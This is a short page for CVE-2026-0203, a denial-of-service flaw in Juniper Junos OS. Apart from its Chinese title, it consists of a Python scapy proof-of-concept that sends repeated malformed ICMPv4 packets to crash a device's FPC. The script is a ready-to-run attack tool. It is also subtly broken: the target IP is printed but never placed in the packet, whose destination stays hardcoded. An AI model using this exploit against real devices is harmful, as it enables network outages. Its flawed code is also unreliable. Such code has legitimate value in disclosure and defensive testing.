CVE-2026-0203: Juniper Junos OS ICMPv4畸形数据包导致FPC崩溃拒绝服务

#!/usr/bin/env python3 # CVE-2026-0203 PoC - Malformed ICMPv4 Packet Generator # This PoC demonstrates generating a malformed ICMPv4 packet # that can trigger FPC crash in vulnerable Juniper JunOS devices from scapy.all import IP, ICMP, send import sys def create_malformed_icmp_packet(): """ Create a malformed ICMP packet with invalid IP header values to trigger improper handling in Juniper JunOS FPC """ # Create IP layer with malformed header # Invalid IP length or malformed header fields ip_packet = IP( version=4, ihl=6, # Invalid IHL value (should be 5 for standard header) tos=0, len=100, # Malformed total length id=0x1234, flags=0, frag=0, ttl=64, proto=1, # ICMP protocol src="192.168.1.100", dst="10.0.0.1" ) # Create ICMP echo request with payload icmp_packet = ICMP( type=8, # Echo request code=0, id=0x1234, seq=1 ) # Combine layers packet = ip_packet / icmp_packet / ("A" * 64) return packet def send_exploit(target_ip, packet_count=10): """ Send malformed ICMP packets to target Args: target_ip: Target Juniper device IP address packet_count: Number of packets to send """ print(f"[*] Generating malformed ICMPv4 packets...") packet = create_malformed_icmp_packet() packet.show() print(f"[*] Sending {packet_count} malformed packets to {target_ip}...") for i in range(packet_count): try: send(packet, verbose=0) print(f"[+] Packet {i+1}/{packet_count} sent") except Exception as e: print(f"[-] Error sending packet: {e}") print("[*] Attack complete") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-0203-poc.py <target_ip>") print("Example: python3 cve-2026-0203-poc.py 10.0.0.1") sys.exit(1) target = sys.argv[1] send_exploit(target)